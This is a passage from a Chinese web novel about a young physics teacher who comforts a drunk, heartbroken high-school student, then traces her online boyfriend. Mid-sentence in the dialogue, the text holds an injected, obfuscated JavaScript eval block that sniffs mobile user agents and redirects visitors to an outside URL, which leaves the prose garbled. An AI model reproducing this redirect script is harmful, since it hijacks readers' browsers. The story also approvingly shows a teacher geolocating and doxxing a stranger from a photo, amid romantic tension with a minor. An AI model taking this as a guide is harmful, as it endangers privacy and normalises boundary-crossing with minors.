于探赜是本班物理老师,就是那紫衣贵,长得不错,衣品骇人,上次刺头冒犯他,为了道歉就申请好友,结果忘记道歉,她每次见到他还是一副不耐烦模样,连老师都不喊。 “丁索隐你见到了嘛?”于探赜语气间明显着急。 倪旖一愣:“她怎么了?” “我周末跟她约好,送她一本高三冲刺题,她昨天没来,今天自愿自习课也翘,她父母电话也打不通,我问了你们小伙伴都不知道。”于探赜在办公室急得火烧眉毛。 倪旖强行镇定:“有具体行踪时间嘛?我找关系调监控看看。” “就等你这句话了,”于探赜重重叹息,紧绷的神经稍微放松些,“昨天早上七点半跟我说在淮海中路那万达影城城的星巴克里,手上提个麦当劳早餐袋,上面浅蓝色泡泡短袖衬衫,下面深蓝色蓬蓬迷你裙,脚上一双经典款黑匡威,背着卡其色的小斜挎包,就这么多特征,麻——” 倪旖挠挠脑袋,预备着找关系查查监控。 “丁索隐,你你你你你。”于探赜刚准备挂断电话,就看见丁索隐失魂落魄。 “喂?”倪旖焦急要死,丁索隐是找到了嘛。 “不好意思,倪旖,我现在看到丁索隐在楼梯拐角,谢谢你,我从现在得挂断电话看看说明情况,有情况随时沟通,再见。”于探赜官方得厉害,攥着手机就往门外去。 丁索隐端起那一瓶威士忌一饮而尽,然后把透明玻璃纹颠倒过来,看着残余的暗褐色酒水慢慢滑下,在边缘聚集成水滴,摇摆、落下。 于探赜瞳孔瞬间放大,思考一万种这姑娘被学校开除的方式,幸好此时是自愿自习时间,楼梯走廊都没啥人,连跑带喘地蹿她跟前,焦急把她酒瓶子夺下来哐当一声丢进两步远的垃圾桶里,攥着人小挎包背带将人撺掇到办公室去。 丁索隐晕晕乎乎走路都不稳,跌跌撞撞砸进于探赜办公椅子里面。 “小兔子怎么可能抵挡得住胡萝卜雨啊喂,就像我喜欢你一样,我喜欢你就像兔子的世界里下起了胡萝卜雨呀,我的个签从一月开始就是兔子和胡萝卜雨!俺有一个超喜欢的男生,他属兔子并且像兔子一样可爱……” 丁索隐委屈巴巴嘟囔着,冷慌慌的办公室,惨白节能灯光照在她白皙脚踝上,有种惊心动魄的聊斋感。 “你分手啦?”于探赜有点难以置信。 “不是,我以为我俩都在一起了,可刚越线下面基,他说,就是游戏网友,可他还不还给我星星手链,那是我叠给初恋的,他不还给我,他不还给我,我,我。”丁索隐抽噎着,脸颊的泪水就一个劲往下滴落,跟豆粒大小似的往下砸。 “哈?”于探赜浅浅叹息,“是不是你误会你俩关系?” 丁索隐撅着嘴巴,来回从前兜后兜摸索好一番才握到手机,滑了好几次屏幕,总算指纹解锁,随后展示和starfish聊天记录。 手机聊天页面壁纸是一男一女,像个相亲被骗的土木老哥和女骗子的合影。 “你品味还挺独特的哈?”于探赜看她网恋对象那照片,真不知道如何说。这一看就是玩得花的那种长相。 “他照片长得很老实的,但用的是室友照片,他长得花蝴蝶似的。”丁索隐无差别攻击每个不顺眼东西。 于探赜盯着那聊天记录,都没意识到她说话,一条一条都给他看冒火,他必须得成功排除一次花季少女想假期千里送上网友门的犯蠢,幽幽道:“这家伙绝对是个渣男,就是想免费,千万别上当,哥当年这么骗过的女生一大把。” “嗯?”丁索隐微蹙眉头。 “我是说那人就不是好的。”于探赜佯装咳嗽两声。 波比波比—— 手机怪叫。 丁索隐不耐烦接通电话。 于探赜隐约听到听筒另一头那姑娘耀武扬威:“丁索隐,你男友,现在是我的了,你就是很逊。” 却没想到,丁索隐抬眼瞥了一下,很快转头看向于探赜,笑着回复:“哦?是么?那你这样阴暗扭曲地爬行,一定很辛苦吧?” “……”于探赜看着她沉稳眼眸瞬间错愕,这强大情绪控制能力啊。 丁索隐随手挂断电话,随手揉揉蓬松脑袋,她今天穿得是常服,头发染成淡金色,做了柔顺的大卷,每一弯曲线都散发着温柔的光泽,差点没能进学校。 “于老师,我来拿题集,对不起,我失约了。”丁索隐擦擦眼泪,那种笑意就像碎掉一半难过。 于探赜心莫名就难受,探身将抽屉里题集给她递过去,笑道:“我这一天都没课,送你回家,你这醉醺醺状态我不放心。” “谢谢。”丁索隐攥紧题集,算是同意。 丁索隐和他并肩步行回家,往东能看见大海,此刻它已是一片暗色,因为一大片浓浓乌云遮蔽太阳,海面波澜摇曳,宛如层层叠叠的黑纱。 于探赜耳边靠着手机,很有礼貌道:“丁索隐妈妈,您家孩子刚回学校,别担心,我现在正把她往家里送呢。” “谢谢谢谢。” 于探赜刚准备不用谢,对面就挂断电话。 “这?”于探赜错愕。 “我父母最近忙着生意,很少回家的,所以我一丁点都不担心被骂。”丁索隐擦擦额头冷汗,估计吹着冷风,连后脊梁骨都滑腻腻的,好难受。 “哦哦。”于探赜还是对丁索隐很好奇的。 丁索隐神色哀伤。 “对象再找个好点的呗。”于探赜插着兜十分不熟练安慰,他就一空白格根本不懂这些少男少女想谈恋爱心思,小声袒露不屑,“我觉得不专心的狗男人要不要倒不是多重要,实在不行还是跑路吧,三条腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293083|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的青蛙少见,两条腿的帅哥应该还是挺多的哈,咱没必要强行加入这个家啊!” “你不懂!”丁索隐酒精上头,尖叫一声,见他精神瞬间紧绷,还四处往外瞟着,估计怕被误会欺负小姑娘,便泪眼汪汪咕哝,“我是逛窑子逛到了卢浮宫,他帅炸了。” 于探赜一愣,强行憋住笑的冲动,不知道是不是有越狱因素加成,总感觉丁索隐表情虽然看起来可怜巴巴,但贼头狗脑样子改不掉,特像羊毛毡戳出来的。 “他真的挺帅的,我还给他带了好吃的,想着,他第一次见面看到本将军做的棉花糖和爆米花,还不咔咔地扑进我的怀里?”丁索隐越说越委屈。 于探赜也不知道该说什么,挠挠头,就这么沉默着。 学校教学楼前面有个迷你水花漂浮动态雕塑,由全息聚酯薄膜材料制成,一端固定在紫色图书活动信息中心建筑的顶部,另一端固定在该区域周围的棕榈树上,飘带很轻,可以随风飘扬。 “在干嘛?”丁索隐抽噎,伤感像一桶黑色油漆,从头到脚地浸透了。 她抬眸,于探赜感觉她就如同几块无色玻璃挤压重叠在一起,沉闷暗淡,因为一夜未睡加上情绪失常,看上去不大健康,两蹙带着乌云般的愁苦。 “……没干嘛。”于探赜耸耸肩,总不能说在想午餐要不要吃螺蛳粉。 “那我可以和你一起没干嘛吗?”丁索隐再次抬眸。 于探赜放慢脚步,回过头,地平线上黯淡的橘色光线勾勒出他的侧脸。 路过信息中心广播咝咝地响着,是那种老式门铃,像通了电的?蝉。 丁索隐垂眸,盯着花坛喷泉,水面反射的颤动的蓝光让她忍不住眯起眼睛。 被喷泉和大理石激荡出的水雾似绵绵细雨来回转悠,空中散发浸酒软木塞味。 “你现在可以抱抱我嘛?”丁索隐感到一阵痛楚,校车慢悠悠平稳而过,在身后卷起一阵夹带着碎纸片的旋风。 于探赜站着,看着一个方向,目光放空,身边弥漫着一种生人勿近的气氛。 丁索隐戳戳他胳膊肘,现在都有点无语,拒绝就直接拒绝,还装傻。 于探赜缓缓回头,几乎是睥睨着她,又缓缓把头转回去了。 把——头——转——回——去——了—— 丁索隐就这么水灵灵被无视了。 “咳咳咳——” 于探赜微蹙眉,缓缓低头,缓缓垂下眼睑。 这玩意的还是个高中生呢,满地乱窜的年纪。 这才发现了这么一处难过。 谁说只有一处难过了。 以后绝对得更难过,要是总没法自己消化情绪,自己学会处理问题,那可要命。 丁索隐一愣,沉默,眼睛像一块海绵蛋糕上嵌了两颗蜜渍的红豆。 于探赜缓缓转移视线,觉得气氛僵硬得可怕,好像随手轻轻敲一敲,就能“唰啦啦”掉下一片空气冻结而成的冰碴子。 丁索隐心一狠,踮起脚尖拥抱他。 于探赜一愣,感觉她的气息越来越急促起来,张开的嘴巴和鼻孔中喷出的滚烫的热气呼在他肩胛上,隔着薄薄一层白衫,跟被遗忘的电熨斗似的,简直要将他烫坏。 “干嘛?”于探赜一秒之后给人扒拉开,“我加了一个修仙群,人都住在深山老林里,平时只聊丹药、炉鼎、法器、法宠、修炼、秘诀,你要不要转移点注意力啊?整天下雨也不好吧?哈哈哈哈——” 一阵尬笑解决问题。 丁索隐泪眼婆娑:“……其实我说的话很日常,肯定是正常人能听懂的,你听不懂不知道是装的还是阅读能力太弱。你说话方式也很机器人,不像这个时代的,chatgpt都比你更像人。” 于探赜隔开点距离,默然望着她。 “回家吧。”丁索隐懒得跟机器人说话,一丁点都不懂安慰悲伤少女。 “我高中……在被作业试卷压得喘不过气的年纪,不管有多少小心思都会暗淡到好像从来不曾存在,生怕任何一点念想会影响到学习,有多喜欢就有多害怕。所以那些纯粹的暗恋不是被老师、家长扼杀在摇篮里,而是自杀身亡的!” 于探赜耸耸肩膀,满不在乎。 丁索隐瞪他一眼:“你都没上过高中。” “……”于探赜没说话。 校园门口下了人行天桥后是十字路口,一排排车辆正在等待绿灯。横挂在空中的红色信号灯在他看来就像燃烧着的烟头,远处最高建筑鸣山集团大楼还亮着灯,那是二十四小时都亮着的。 是不是太过分了?要安慰她嘛?于探赜心里涌起一阵懊恼,挥之不去。 “特招保送,要不然你博士毕业怎么才十八?哼!”丁索隐白眼,仔细瞅瞅他那穿衣打扮,“严格遵守”上流社会的着装标准,合体定制西装三件套,白衬衫,考究的领带,口袋巾,“还故作年纪大,其实没比我大几个月,小老师。” “哈?”于探赜注意晴空上拖着细长尾巴的航迹云,嗅到被洒水车经过后飘散在空气里土腥味,缓解尴尬气氛,“你小考错道题,很简单的,没有给出玻尔兹曼分布,直接用大气密度做近似,除压等式之外,之后的步骤都不得分……” 丁索隐张口就被打断,唯一能作的,就是停止说话,学老学究摆出一副深思熟虑忧国忧民的表情,装出一副死相。 她不知道我为什么笑,也不知道我会一直这么温柔。于探赜想。 本来于探赜还在传授所谓知识,只是一摸手机,点开游戏选项,蹙眉格外嫌弃。 “我不明白,为什么现在要把游戏和地图分开下载?下载游戏以后还要下载一堆地图,为什么不放在一起下载?下载游戏以后要玩还要下载一堆小项目,有病这不是?” “我饿了。”丁索隐摸摸肚皮,缺乏热量,脚一被风吹,就越来越凉,不经意间就想搓一搓摩擦生热,便不停蹦哒。 “是不是脚不舒服?”于探赜见她奇奇怪怪的举动。 丁索隐幽怨瞥一眼:“我是苍蝇,我在搓脚。” “打算吃点什么?我请客。”于探赜边说边看手机屏幕,嘟囔,“犹记得我高中时学校门口那条马路就在修,现在还没好,修了又修,有人吃长度,有人吃宽度,有人吃厚度。” “你上的高中预科班,都没两天就被招走了。”丁索隐好烦他凡尔赛啊。 “哈?”于探赜察觉她情绪微微变化。 “螺蛳粉。”丁索隐瞪他一眼。 “这不巧了。”于探赜刚才就在想怎么劝服一个姑娘跟她吃臭螺蛳粉。 “青苹果芬达——” “青苹果芬达——” 俩人互相嫌弃衍眼神一对撞,就这么水盈盈的默契十足。 丁索隐撅着嘴,咳嗽两声:“那我要橘子味的。” 45.嫉妒 “哦哦。”于探赜不懂她为什么突然变换。 “你们男的是不是就会踩两条船?”丁索隐无差别扫射,学生上课周边花园里都看不见人影,椭圆形花台里种一圈被修剪齐整的万年青,嫌累便坐了下来。 “哈?”于探赜刚打开地图准备找个好吃点的螺蛳粉店,就这么不经意间被背刺,心有点痛,“……不是吧,你认识的那种男的就叫蠢吧。” “嗯?”丁索隐从兜里摸摸,发现没找到一丁点纸巾。 于探赜自然而然就将休闲西装外套塞着的丝绸深蓝手帕递给她。 丁索隐随意接过,擦擦快要掉下来的鼻涕。 于探赜嫌弃要命,也不好意思再说点什么,只是坐在花坛边沿,就这那话题继续解释:“我的意思是,弱者没资格坏,至少在彻底礼崩乐坏前没资格。” “他还是博士呢。”丁索隐说罢委屈巴巴。 “哪个学校的啊?”于探赜这下来了好奇心。 “岽大。”丁索隐擦擦眼泪。 “哦吼,末流C9啊这是,本科哪儿的?”于探赜摸摸裤兜给她一沓纸巾。 “都是那里的。”丁索隐接过纸巾叠成三角擦擦脸。 “败类啊。”于探赜感叹,一副世道变了的惋惜,“你别哭啊,你要是想谈,你大学的时候我给你介绍对象,好不好?人学历还不错,我大侄子,他今年刚从牛津大学埃克塞特学院英语系毕业,还获一等荣誉奖。” “不要。”丁索隐站在花坛上摇头,甚至酒精上头跺跺脚。 丁索隐正要跳下来,腰间却忽而被一双大掌握住,下一刻被腾空抱起,紧接着她便稳稳当当落在了地面,整个人都懵逼,抬眸望向于探赜。 于探赜撇撇嘴:“穿裙子别蹦哒,你看那樟树下变态在蹲着假装系鞋带。” 空气骤然安静,丁索隐就这样站在公园红砖上纹丝不动地盯着他,两人都没说话,下一秒眼眶突然就红了,就见于探赜懵逼眼神微微动了下。 “干嘛啊你?你要愿意站花坛上你跳上去呗,红着眼算什么事情?”于探赜鸡皮疙瘩掉一地。 而那个此刻安静得近乎不存在的丁索隐静静地凝望他,清秀的面孔也被笼罩在这一片淡淡阴翳中,凉风卷起点点落叶。 “人牛津的看不上我,呜呜呜——”丁索隐一边说一边眼泪就掉下来。 “我看得上你行吧,别哭别哭。”于探赜实在不会哄。 “你又不是牛津的。”丁索隐哭得更厉害,连眼泪都忘了擦,半眯着眼上下打量他一遍,一眼就看出他手僵的都爆出青筋。 “指不定哪天呢。”于探赜自嘲,等母亲癌症去世就会被强行送出国的。 ——他自己把这个叫做流放。 “小老师也会出国去博士后工作站点进修嘛?”丁索隐不知不觉地露出了天真的微笑,水灵灵的双眸含着憧憬,她深知自己的笑容很可爱。 于探赜欲言又止,紧抿着嘴唇,嘴角露出一对羞涩的酒窝。 丁索隐叹息一声,偏着脑袋眼巴巴地望着他,苍白小脸神情呆滞,可大眼睛里却蓄满泪水,微微垮着嘴角,仿佛随时都要落泪。 “干嘛啊你?”于探赜被吓一跳。 丁索隐没说话,沉默良久后是直视于探赜眼睛,并努力想要获取真实信息的果敢,立在原地注视了他半晌,而后蹲在花坛边揪杂草玩。 于探赜挪了挪砖头踩着蹲下,抬手轻轻拨开小姑娘额前的碎发,瞧一眼她额角刚才不经意间抬眸时展现的淤青紫痕:“还疼吗?头晕不晕?” 丁索隐垂下脸,缓慢地摇头。 “怎么又不说话?”于探赜心急如焚。 树下阴翳被风吹得乱晃,那一小片温暖是唯一光源,眼下被他挡去大半,丁索隐手撑在粗糙草地上一屁股抬着坐到花坛边缘,弯下腰,说:“你近一点。” 静静望她片刻,于探赜没问她做什么,倾身靠前。 然而脸就这样被人捧住。 于探赜心骤然一掉。 丁索隐醉醺醺状态,唇角微颤带着浅浅笑意,手心稍用力度去揉他有些清瘦的脸颊,瘪瘪嘴道:“那小老师出国没朋友怎么办呐,嗯?” 于探赜来不及思考,只是错愕望着她。 丁索隐眼角脸颊哪里都晕着红,整个人都在酒精发散时虚弱无力,却还强撑一点力气抬手,捧着他的脸,直勾勾盯着他,眼神坚定,很是单纯,强装着端出来的正经语气。 “小老师本来就不乐意出国对不对?” 他想掩饰性说没有,但说不出来。 她表情很真诚。 后来她是怎么做的? 丁索隐给他一个很大很温暖的拥抱。 于探赜一把给人扒拉开,保持点安全距离。 刚才,于探赜回忆他和丁索隐第一次见面。 当时妈妈把她补习班准高一小女孩带回家洗澡吃饭。 丁索隐就乖乖趴在地板上研究拓扑结构。 于探赜当时就出来喝口水,闹出动静跟她对视一眼。 她像在老家的某个网吧里遇到了多年没见的老同学,你记不太清他叫什么了,但你依稀记得这姐们不高兴喜欢肘人。 你认出了她,她也认出了你,但你们都没有跟彼此搭话。 于探赜瞥一眼便自然而然回到卧室,在电脑前坐了下来,在浏览器里输入了这几个字。 后来好几次,也是类似情景。 说熟也没那么熟悉,于探赜只是出门吃完炸鸡时给她带回个香辣鸡腿堡。 然后是一筐熟透樱桃,一杯冰芋泥珍珠奶茶,一包烤栗子…… 就顺手投喂,跟养了猫似的。 于探赜微微蹙眉,站在一边难以置信,结巴证实自己猜测:“你该不会——” “谁喜欢你!”丁索隐满眼嫌弃,眼珠子一提溜,也不知道在心虚什么。 “那就好,吓我一跳。”于探赜拍拍胸脯,大口喘息,刚才都快窒息。 丁索隐见他一副幸好幸好模样,突然好难过,默默站了一会儿,转身走去,很麻木,她现在就像一台盖革计数仪,当置身于超量的辐射中时,反而不再有任何反应,没有声响,读数为零。 “怎么了啊?”于探赜追上去,双手撑住扶杆两侧,头往那边探去,眼镜几次从鼻梁向下滑去,他不得不笨拙地腾出只手来把眼镜扶正。 “就是饿了。”丁索隐敷衍。 “哦哦,去宝龙广场,那里有个螺蛳粉店,风评挺好,走吧。”于探赜说罢就看她嘟着嘴巴一副怨气十足模样,就很奇怪,也没法理解,当做没看见。 “你有毛病!”丁索隐小跑着往前,想要甩开他。 “你才有!”于探赜莫名其妙就盯着她背影,怕她醉酒后出事情,只得无奈跟上去。 两个人吃完螺蛳粉直到回家都没说半个字。 沿着被除草机推铲过的缓坡草地上鳞次栉比地坐落着一栋栋豪宅,每家每户都装修得极为考究,丁索隐家门口还有一块空地,地上铺着软软草坪,角落里还支着练习高尔夫球的网。 等回到家门口,丁索隐抬眸,悲伤道:“小时候,我总是幻想,只要我攀越过这座山,山的另一头应是个明朗无雪的世界在等我。” “……你精神信仰崩塌啦?”于探赜都懒得搭理这中二病孩子,不就是失个恋嘛,整得跟世界要毁灭似的。 不过,丁索隐长着一张轮廓分明的脸,还有一双大大的猫咪眼睛,她以后肯定是个大美女,现在还没长开。 “不是,我只是觉得我从没攀越过这座山。”丁索隐纤长睫毛微微颤抖,嘴角处还流露出一抹被刺伤的痛苦。 “你回去睡一觉然后吃点高热量食物,都会好的,嗯?回去吧。”于探赜叹息一声,都想立刻转身离开,他今天已经浪费够多时间了。 丁索隐开始仔细折叠放在小腹的手帕,那块手帕已经被泪水打湿。 于探赜蹙眉,将刚才在螺蛳粉店擦嘴剩下的几张纸递给她。 丁索隐想着婉拒他,可被瞪一眼后伸手去拿时,忽然眉头紧皱,接着闭上了眼睛,好像身体的某个部位疼痛难忍。 “哪儿不舒服吗?”于探赜连忙搀扶,问道,“没事吧?” 丁索隐痛得说不出话,可又懒得被他搀扶,将胳膊肘从他大手掌里抽离。 “我送佛送到西。”于探赜担忧问道,随后伸手,手很笔直修长,手背上淡淡的青筋随着他的动作微微凸起。 也许是因为于探赜的语气变强硬了,丁索隐不自觉就高傲起来,挺直脊背,双眉紧锁,略为犹豫地点了点头,只是脑袋一晕,整个身体都晃了晃。 于探赜见状直接将人横抱起来。 刹那间,丁索隐那双晕沉的眸子先是闪过一丝错愕,然后清亮起来,有些不自然地侧过了脸去,避开他格外执着的神情,表情瞬间变得异常尴尬。 “我抱你吧。”于探赜很礼貌温和。 扑面而来的薄荷味刮胡须泡沫清洌气息和覆在肩头腰间的手让她忘掉脑袋隐隐约约的痛感,丁索隐头一回意识男人的手掌居然可以这么烫,她的小裙子原来这么薄,隔着衣服仍能感到躲避不开的温度。 突然! “你非得找个博士对象嘛?”于探赜露出好看的微笑。 丁索隐感觉自己就像被手掌调皮轻轻捏了一下,失措地回过头,假装注视着前方,心却扑扑地跳了几下,小声呢喃:“我很差劲,所以对象不能差劲。” “我也是博士呢。”于探赜点点头,故意逗她。 丁索隐一愣,嘴角不受控制地微微呢喃了一下,呆呆地凝抬眸望着那个正渐渐模糊又缓缓清晰的身影,感觉周围的声音突然被什么强有力的东西给瞬间吸干了一般,一片死寂……眼前这男的又笑笑说些什么,而她却听不到半点声音。 于探赜疑惑看着她脸颊发烫,等她指纹解锁后,将人慢慢平放在沙发上。 丁索隐不敢想象这是于探赜这个傻逼说出来的话,他明明常常感觉语言匮乏,说话磕磕巴巴甚至直接沉默。 现在能说会道,可能是丁索隐曾经说,跟他沟通好着急,但还是很理解的,一来是他说话前习惯先把语言逻辑整理好,二来是他很多思维受到语言的限制。 于探赜说,他一直在期待现有的语法和词汇能够得到突破,能有全新结构让语言信息熵更高。 进去这座豪华别墅,里面很环保,就跟玫瑰园似的逼仄木质平房,破旧腐坏的书籍沉睡在书架一隅,阳光微微倾洒,有一层薄薄的灰烬在上面附着。 “你平时除打游戏还有别的什么爱好吗?”于探赜见气氛微妙,找个话题。 “会看看书啦。”丁索隐还在思索刚才话题,就单纯敷衍,没两句就暴露本性了,嘟囔,“……看看腹肌什么的。” “呐尼?”于探赜一愣。 “开个玩笑。”丁索隐甜甜一笑,下意识抬手捋了捋额前柔软、微微卷曲的刘海,她的声音慵懒软糯,“……真是个小傻瓜呢。” 于探赜被后面几个招惹得脸颊绯红,缓解尴尬:“哈哈哈我就说嘛。” “……我怎么会看书呢。”丁索隐自动回复消息,跟低端机器人似的。 “刚刚事情,考虑得怎么样?”于探赜挑眉,还是那种属于他这年纪的调皮。 “你这是……”丁索隐模模糊糊的,她感觉刚刚眼睛一眨不眨盯着的那只纤细手指的掌心朝她探出,伸出两根手指轻捏了下她指尖,不敢置信般微微张大眼睛,随后小声又小声,都快低到尘埃里,“我愿意。” 于探赜没听到,再次确认:“啥?” “不想说了。”丁索隐捂着耳朵感觉都快烧起来,嘟囔着就要逃避。 “我意思是,我是博士,你要看到我,”于探赜突然觉着这话特别让人遐想,连忙摆手解释,“……我认识很多博士,同学,老师,朋友,好多好多。” “哦。” 莫名期待落空,丁索隐一阵犯呕欲望从胃部骤然上升,来不接解释,便从沙发上跳起来奔跑着去卫生间,汤里一截辣椒呛进气管里,越咳越难受,在马桶边从蹲着变成跪下去,好不容易咳出来。 “我这辈子可都不会喜欢你的,我有道德,你别想歪了。”于探碛漫不经心。 丁索隐一回头,看他也跪着,还在顺自己后背,脸上的汗比她自己还多,第一次感受到离死那么近,世上差点又少了个靓女。 “要不要紧?”于探赜着急道,还不停拍拍她后背。 “好丢人。”丁索隐都快要哭,这么狼狈模样就被他看到,好想死。 “没事没事,我们先漱口,可以站起来嘛?”于探赜温柔安慰她,等她不情不愿爬起来乖乖握着牙刷时,他将马桶盖合上便自动清洗。 咕噜咕噜一阵下水道声。 丁索隐不敢直视他,自顾自刷牙,都快要把牙齿刷个窟窿眼。 于探赜默然了一会,忽然说道:“我来过好几次了,都没看见你。” 丁索隐手上动作一顿,听他这样说,仿佛上次邀请他参加平安夜家庭聚会后,曾经好多次尝试回到这里来,都是为了她,因为希望能够再碰见她。 并且以一种偶遇的形式。 这样很浪漫很浪漫的。 可见他也是一直惦记着她的。 她这样想着,心里这一份愉快只能偷摸藏起来,等没人注意时候拿出来,再也抑制不住那脸上一层层泛起的笑意,只是偏过头避开,偷偷无声笑了好几下。 于探赜扶着冰凉陶瓷洗手台,又道:“你大概不大出来吧?连节假日都爱猫在沙发里看好笑的综艺节目,不过周五傍晚那时候倒常常碰见你。” 丁索隐将嘴巴泡沫吐出来,却不好意思告诉他,那时,她一看见他路过,就把熟睡的拉布拉多从窝里拽出来,强行遛,藉个缘故也跑出来,自然是常常碰见。
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等到目的地就得下午三点,找到混蛋详细地址估计得半夜。 于探赜在高铁上就思考庞加莱猜想的破解者格里戈里·佩雷尔曼,盲目从洒水街十字街口沿着那条笔直柏油博弈大街向西走,快五分钟,在路左手边有家朴素装修的“回民拉面馆”,这家清真馆子卖的最多几样是羊肉烩面和水煮白羊肉、五香牛肉。 “一份番茄鸡蛋拉面,谢谢。”于探赜坐在靠窗最近拐角处。 那个渣男在招商局办理手续,不出意外,五点前就得出来。 剩下两小时就这么等着就行。 渣男朋友圈照片拍摄日期是昨晚,拍摄者纬度是40.5度,地方时是23:27,根据拍摄时的国内通用时间可以换算出准确经度。 如果是23:12拍的,那么位置是在苏祁市,这个天象在23:20离开半岛下海,在23:26再次在嘉善市登陆。如果是23:53拍的,那么位置是在家苏市。 画面中只要出现横平竖直建筑物,于探碛能定位出天顶和地平线,从而确认画面中的角度比例和测量基准,其次是画面里两颗星星还能认出来具体日期。 画在卫星图上对比,最有可能位置是大洼区,只有这里的街道是正对着这个方向的,所以于探碛轻而易举就口算出渣男位置,加上高科技开盒准确位置,直接逮。 于探碛目不转睛盯梢,番茄面没吃半碗,就看到那个渣男挽着样貌姣好的女孩从招商局走出来,有说有笑。 “投标五天,工程类10位数的标。你这个大评标专家睡在评标室,累坏了吧?”渣男摸摸女孩脸颊,那种感激欣赏藏都藏不住。 “这几天跟其他专家轮流接替休息,睡几小时就起来接着评,好累,评标费按一天24小时支付,太少了。”女孩懒洋洋靠他肩膀上。 于探碛起身就去堵截俩人,扫视一眼,严肃道:“是刘海信嘛?” 渣男微蹙眉:“你是?” “我来要回丁索隐的星星手链,麻烦归还,谢谢。”于探碛也不退。 “你是说那小孩吧?我先解释一下,当时网聊并不知道她年龄,产生误会,我也及时跟小朋友说了利弊并希望她好好学习,但前女友假借我的名义邀线下见,还恶语伤害了她,星星手链被丢掉了,我很抱歉。” 渣男吸口气,内疚道。 “我是他好友,他过来让我帮忙再叠一个星星手链赔小孩。”女孩从包里掏出一串崭新星星手链递给于探碛。 “希望你说的是真的,不然我会揍你。”于探碛接受手链,转身离开。 “你开盒了?”渣男一把攥住他胳膊。 于探碛猛地甩开他手掌,极其嫌恶瞪一眼:“之前那星星手链丢哪垃圾桶?” “如果能挽救那纸手链,我也不会找朋友叠个新的。”渣男跟他隔点距离。 于探碛也懒得再问,订张高铁票就返程。 “我只是测出你朋友圈相片星星高度角,除了星图,你照片上那玛莎拉蒂像素点与照片正中心的距离正比等于现实中物体和光轴夹角的正切,能推断时间。” “嗡嗡——” “嗯?倪旖。”于探碛接通语音通话。 “丁索隐怎么回事?电话打不通了都。”倪旖在烧烤摊忙活,她自己吃不完这些,朋友们就来个丁戈晖,现在还满脸不爽地揪着一小撮孜然随便撒。 谢灵桓和林愈合跑到书店写数学概率题,甄凝和刘湖岐好像有个约会,丁索隐手机打不通,徐浣若参加补习班没来,大诗人懒得回她,就剩丁戈晖跟她大眼对小眼。 丁戈晖不打算来的,但她很想当面质问。 很显然,沉默昭示她的畏缩。 丁戈晖前两天听见她们在笑,像碎玻璃渣扎进耳膜里。 后桌女生拿课本挡着脸说“倪旖跟体育馆那个,就岽大宣传招生组,那贼帅的少年班大高个……”,立刻有人压低嗓子起哄“我当时就觉得不对劲,倪旖居然会脸红,山丹丹红艳艳那个红……”。 笔尖突然戳穿草稿纸,墨迹在桌上炸开一朵畸形焰火。 胃里泛起的酸水比喉咙更先烧起来。 她眼前一黑。 无意识用黑笔在草稿纸上戳出密密麻麻的窟窿。 小熊笔袋脑袋已经被捶得凹陷。 原来倪旖也会对碳基雄性生物分泌荷尔蒙啊。 她还以为倪旖骨骼里的漫不经心会碾碎所有试图靠近她的人。 比如她。 她脑袋跟走马灯似的。 冬令营那夜的雪突然在她骨头里下起来。 暖气片在墙角咳嗽,黑暗像块浸透冰水的海绵压在身上。 深夜三点,丁戈晖缩在铁架床上死活睡不着,一分一秒听她翻身的死动静,像有人往血管里撒了把跳跳糖。。 被子太薄,暖气也旧,北方干冷空气啃着她脚踝,直到有个小火炉突然掀开被角钻进来,无视她的横眉冷对和拳打脚踢。 丁戈晖闻到她头发上薄荷味洗发露味道,冻僵的后背贴上一片温热的皮肤。 明明是宿舍配备公用的,可那时,丁戈晖就觉得格外好闻。 她没说话,倪旖也没说话。 倪旖翻身时膝盖抵住她小腿,滚烫的,带着活生生的重量。 黑暗里倪旖的呼吸声很轻,轻得像随时会消失。 她数着倪旖呼吸的节奏装睡,直到听见那人喉咙里咕哝一声“抱”,鬼使神差把脚踝缠上倪旖的,那种是骨牌倒塌纹丝合缝般如愿以偿的暗爽。 倪旖没躲。 那是她离神最近的一刻。 46.约谈 倪旖的体温是圣餐,骨骼是祭坛,而她蜷缩在亵渎与虔诚的夹缝里,像条偷吃贡品的野狗。 天亮后倪旖笑着往她保温杯里塞枸杞。 俩人挤在颁奖台拍合照,她手被倪旖牵着,她恨透了那人永远游刃有余的模样。 所以听见倪旖有喜欢的男的,她竟有种扭曲的快意。 你看,倪旖也不过是个庸俗的凡人,会为某个蠢货脸红心跳,会笨拙地模仿言情剧桥段。 可胃里翻涌的酸液骗不了人。 她嫉妒那个能让倪旖眼睫低垂的名字,嫉妒到想把那狗东西的脸摁进硫酸池。 更恨的是她自己。 明明最该习惯光芒,却总在深夜咬着被角复盘她每个眼神每一个字。 丁戈晖当时在课间恍惚,就攥着2B铅笔,捏美工刀,手指尖开始发麻。 原来人真的会嫉妒到骨头缝里发痒,哪怕那个人是团模糊的影子。 她不知道在嫉妒倪旖什么。 那些本该属于她的,倪旖第一次手足无措的试探,结结巴巴的邀约,偷偷摸摸的注视,全被个不知道哪来的混账东西给悄无声息地偷走了。 丁戈晖甚至想撕烂她干干净净的喜欢。 倪旖曾经贱兮兮蹲在她课桌旁边削铅笔。 木屑落在她膝盖上,像雪。 她故意把腿往外顶了顶,倪旖立刻歪着脑袋蹭过来,朝她笑。 发丝扫过手背,痒痒的。 那时候她以为这是独一份的特权,后来才懂,她看流浪猫的眼神也这么亮。 竞赛班走廊的声控灯总在灭。 有天放学晚自习,倪旖在门口突然拽住她书包带。 指尖蹭过她手腕内侧突起的血管。 “你手好冷”,她说得那么理所当然。 多可笑啊。 仿佛把俩人的手塞进她校服外套口袋里攥着取暖是一件天经地义的事。 可倪旖终究会松开手。 她将倪旖推开,恶狠狠。 倪旖踉跄着撞到讲台边,眼睛睁得很大,像被踢了一脚的委屈小狗。 那天晚上她蜷在床上啃手指关节,她恨,直到尝出血腥味。 她多希望倪旖冲过来扇一巴掌,而不是站在原地轻轻说“对不起啊”。 